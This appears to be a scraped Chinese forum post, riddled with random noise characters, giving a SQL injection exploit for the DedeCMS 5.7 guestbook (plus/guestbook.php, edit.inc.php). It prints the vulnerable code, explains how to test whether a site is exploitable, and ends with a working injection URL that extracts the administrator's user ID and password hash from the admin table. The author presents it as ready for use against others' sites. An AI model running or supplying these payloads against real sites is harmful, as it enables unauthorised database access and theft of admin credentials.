影响版本为5.7
$ S) R3 c$ Z8 K" f+ f" G2 z4 f+ Z& g) u& k
漏洞文件edit.inc.php具体代码:( {7 F# S: \7 z1 D
+ | O, V& B2 `4 _; C5 r+ |1 {; S. E* Q< ?php
$ M5 a* l* N" O" L5 U0 D5 E
5 J6 w" k$ I& A6 B# a9 o' ?" Lif(!defined('DEDEINC')) exit('Request Error!'); 1 z. q" E4 X2 O2 d3 F
9 w: B- A/ J" y) p
1 y* Q" b2 e/ M0 j$ H
* S0 q, l* Q# y4 D( I- R& [if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
" y! v1 Y: S4 s, q8 x! W2 F) P! m! d+ h% ?+ c( f4 }# f
else $GUEST_BOOK_POS = "guestbook.php";
8 J: A- ?6 L) O) H) v1 F% ]- z+ w$ i% S2 ]. M
, s. M7 X7 f1 y! Y* X7 D4 q8 `2 o' ?6 G$ K* H1 N
$id = intval($id); 5 L$ _0 P5 L, Z$ c7 p1 c
; D8 [9 @7 b# T2 J) `
if(empty($job)) $job='view'; ( r6 \7 H; B$ j5 k$ T0 w8 u' Y1 b
7 H" C/ o4 E$ x$ m9 O" y
3 E% R2 j' W% m' R3 o& }& U
& G+ W3 I& k% ~2 t; [if($job=='del' && $g_isadmin) + y! q1 o/ Z9 o
( N7 p; i4 n8 n; Q
{
% K; V% K1 ~/ g6 \% |
. O1 ]4 ]2 g/ w$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ' @5 N7 d# b# `% B0 Z0 t
* [4 r0 m! A- T, L, c% [- k; z$ wShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 1 G: |/ W; O$ p) m- S
/ a; g9 ~ F2 ~( l& z5 q! Fexit();
0 z% h, P4 h: g+ K6 Y1 l6 D' c
' ~6 y. A9 W( r6 z- b} $ @ I! q/ }0 b2 P2 `6 C* C
+ N h9 \+ d+ p1 Ielse if($job=='check' && $g_isadmin)
& J8 B* V4 \5 |5 X f+ \, k/ `. G3 i( D' \
{
' h* N4 P% E3 [; ~& K
' |6 f, r+ v" O) {6 [4 M% z$ D$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
8 A& h: a4 w, L5 m8 N8 w* z0 G/ o8 M# V! E ^; y0 F5 F: R( b
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); / u# R% O2 a% p1 N# i( k) \: {
; |9 c5 ^% _- o4 ^: E
exit(); # Q, \. X0 s" ]& A. w( _1 b K
& @/ W! F, O5 b& H: b1 D
}
- [* D t5 X5 M, w+ x% e, t. }, N, J, C/ y
else if($job=='editok')
* b% V9 ]& t( Y' W( Z% Z
. i7 b( H$ @6 S3 Q1 F! F3 { D+ R- i{
# X6 G: D0 W: N3 i' v- {1 i5 _1 L& q. |1 m) G9 j
$remsg = trim($remsg);
: C- F. Q9 T/ J5 V0 }$ l! I4 m* \6 M$ e8 H& `" V
if($remsg!='') - _& }" X1 c6 U; a
3 i% H5 g* U- s$ R- x% a: S7 w
{
$ a4 I; k+ ?" \ w9 X& G+ k* D8 E
2 {9 ^1 r6 e, {7 V; H% j//管理员回复不过滤HTML By:Errorera blog:errs.cc * y$ j( S: I- k# o; J
7 K' N& [; B5 G/ U) S8 B
if($g_isadmin) : G0 v* l! l- H1 a3 Z9 e* z. J
; w! W6 N. ]2 ` g{
) H; g0 J, E2 J3 X B" M& k+ s/ L. r$ h0 B( }; N6 _
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
/ E8 ^# o9 U1 D5 c7 e+ E1 A6 W
$ c/ k" d0 Z/ H//$remsg <br /><font color=red>管理员回复:</font> } ' O/ Q" E- R+ g2 p
8 a- u: c& y, K( F1 Y, L3 g1 n
else
/ [: a" I8 ]1 E* V( T. m0 p* I1 A
{
0 [) V+ m" t# h' G- t6 J
' r9 b% O1 C4 y! v7 g4 x1 }+ ~$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
" p: e1 l/ L1 s/ q' z" i- s+ W' x' h# q, a4 U% F0 D& R. N" k5 M
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 4 X. Q6 y$ |# \3 ^# e& x' v
. @8 k& `* P, r% r v' m5 }. |
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); / j0 ~# E. {" Q/ M7 K" J* ?! b. r, w" E2 d' P
" F2 E( E3 J4 e i$ m
$msg = $oldmsg.$remsg;
' t, T* X2 |+ R9 J6 V: h0 \0 ^$ G( z0 o
* d' U3 N# e( z6 Q4 B( a} ! z5 U# A! ~- |3 L# @
! a8 T5 a3 s# l- I: Z& ?1 W( j( K} % ~( y: ?( f8 g) {" `
, X8 X$ G1 |5 G# O; p//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
" G3 X& ~+ C L5 f8 |. f+ A# u) G6 c( R1 ?( O6 I U/ D
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
: Y) R9 w1 {2 U- w& |2 ^: |+ {
$ I) m' A% t6 t9 dShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
) T: c( D- P6 p% l' e5 R: g2 u# r5 {
; [" S) J7 g; E! O0 R/ Sexit();
& d8 C, _; M- o$ g3 t
2 U p- O% G% f M" _} 2 |: @4 P9 B0 c* d" U- k4 l: D9 q
. \. h% O: O- o
//home:www.errs.cc
8 b/ Y9 a0 f: f6 R- _* Q) ?, [) t
$ b% p) ]# S3 A4 F- Hif($g_isadmin) 6 G4 f8 e. }; {" P( }8 z0 j. H
3 r0 v% U) I+ |5 y! \
{
* @. C! Z& Y% a, e/ b7 ~
4 c6 X1 V6 o' ], h2 p! t$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
8 B: D; G ?" e; t0 w" E8 Y4 c1 e. j0 h6 K
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ! p8 i5 \" n# ^# V$ B. B
8 a( g8 F: o2 P5 }! O} ; w% o6 A7 D5 u+ `9 }
7 q3 \2 U( C; b$ Z' C
else + j' m8 @3 m% e( c" ^3 s& T4 _7 J; X
1 x5 @& W0 z% w
{
8 W" Y( Q% M( @3 s. O; R+ `
2 l$ r5 z5 ]8 T% N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
0 N" C5 ^ {( g+ O7 I5 Z! i% \7 Y5 _) Z4 H) K
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 6 U! b# a. G& X+ |) G$ ~5 O. a
( h6 d. d* R" z* [6 \2 C0 {1 ^
} 漏洞成功需要条件:
! S5 ]" H ]6 C& m1. php magic_quotes_gpc=off2 O* Y) {& [/ N* O$ z6 S0 y( Q
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。4 @( X; k3 E4 `
8 n7 K, ]5 N$ d( B3 J9 ^, v6 r怎么判断是否存在漏洞:
' K( \9 F$ `. }: I# ^先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
& ?9 B, ~5 D O" G# n然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID- [" J& o+ O+ z" Y
访问:% X) i0 v; |3 ^
1 M' }! O& @2 m5 p5 }1 Vwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了; X3 `- I' B1 E# `9 E) I
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, Y, H) i8 _4 g0 i; r$ H+ O" G3 l1 z' |! n! n, m7 Y3 ~" `/ H
4 p- X! E- M0 E2 L# G明漏洞无法利用应为他开启了 php magic_quotes_gpc=off5 \/ H. U9 ?( v: ]
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。: J3 m' S, u S! `6 \
那么再次访问, t: J$ |( F6 q2 `( s7 n
9 q3 v, z* Y$ R
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; c7 m' s$ Z$ F, s3 E
7 p6 T7 J: N* L6 r大概利用就是这样,大家有兴趣的多研究下!!4 B+ D8 }, J) i; N& [
% o# I- |0 M) ^' Y最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
7 A* e# k( N# c- ^& J5 K7 A; B% d" Q. F4 {$ S/ e! E' P
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |